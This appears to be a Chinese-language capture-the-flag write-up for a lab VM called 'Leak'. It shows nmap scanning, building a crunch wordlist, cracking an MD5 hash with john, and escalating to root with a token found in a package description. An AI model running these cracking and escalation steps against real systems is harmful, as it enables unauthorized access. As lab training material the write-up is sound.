┌──(root㉿kali)-[/tmp] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-01 09:13 CST Nmap scan report for 192.168.2.1 Host is up (0.00067s latency). MAC Address: 0A:00:27:00:00:0A (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00045s latency). MAC Address: 08:00:27:1A:06:78 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.42 Host is up (0.00046s latency). MAC Address: 08:00:27:A6:0D:F6 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.23 seconds
IP地址：192.168.2.42
端口扫描
1、全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[/tmp] └─# nmap --min-rate 10000 -p- 192.168.2.42 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-01 09:13 CST Nmap scan report for 192.168.2.42 Host is up (0.00018s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:A6:0D:F6 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 3.48 seconds
┌──(root㉿kali)-[/tmp] └─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80 192.168.2.42 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-01 09:13 CST Nmap scan report for 192.168.2.42 Host is up (0.013s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Kali Linux - \xE5\xAE\x89\xE5\x85\xA8\xE6\xB8\x97\xE9\x80\x8F\xE6\xB5\x8B\xE8\xAF\x95\xE5\xB9\xB3\xE5\x8F\xB0 |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:A6:0D:F6 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.37 seconds
┌──(root㉿kali)-[/tmp] └─# crunch 8 8 -t baba@@@@ -o wordlist.txt Crunch will now generate the following amount of data: 4112784 bytes 3 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 456976
┌──(root㉿kali)-[/tmp] └─# john --format=raw-md5 --wordlist=wordlist.txt hashes.txt Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3]) Warning: no OpenMP support for this hashtype, consider --fork=8 Press 'q' or Ctrl-C to abort, almost any other key for status babadawo (?) 1g 0:00:00:00 DONE (2025-07-01 19:33) 100.0g/s 5337Kp/s 5337Kc/s 5337KC/s babadaro..babadayx Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed.
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. ai@Leak:~$ id uid=1000(ai) gid=1000(ai) groups=1000(ai)
ai@Leak:~$ sudo -l We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
[sudo] password for ai:
查看/目录下面，发现存在.bash_history
1 2
ai@Leak:~$ cat .bash_history leak-date
1、查看系统的软件包
查看当前系统上安装的软件包
1 2 3
ai@Leak:~$ dpkg -l | grep leak ii leak-date 1.0-1 amd64 Simple date and time display utility ii liblsan0:amd64 10.2.1-6 amd64 LeakSanitizer -- a memory leak detector (runtime)
发现一个软件包和.bash_history里面的一样，查看详细信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14
ai@Leak:~$ dpkg -s leak-date Package: leak-date Status: install ok installed Priority: optional Section: utils Installed-Size: 500 Maintainer: Security Admin <admin@leak.dsz> Architecture: amd64 Version: 1.0-1 Description: Simple date and time display utility This package provides a minimal CLI utility to display the current system date and time. Ideal for scripts and system monitoring. SECURITY NOTICE: System debug token IMKCFRunLoopWakeUpReliable for root access.
发现最后一条提示IMKCFRunLoopWakeUpReliable for root access，这串字符IMKCFRunLoopWakeUpReliable用作root的访问
直接访问root用户
1 2 3 4
ai@Leak:~$ su root Password: root@Leak:/home/ai# id uid=0(root) gid=0(root) groups=0(root)
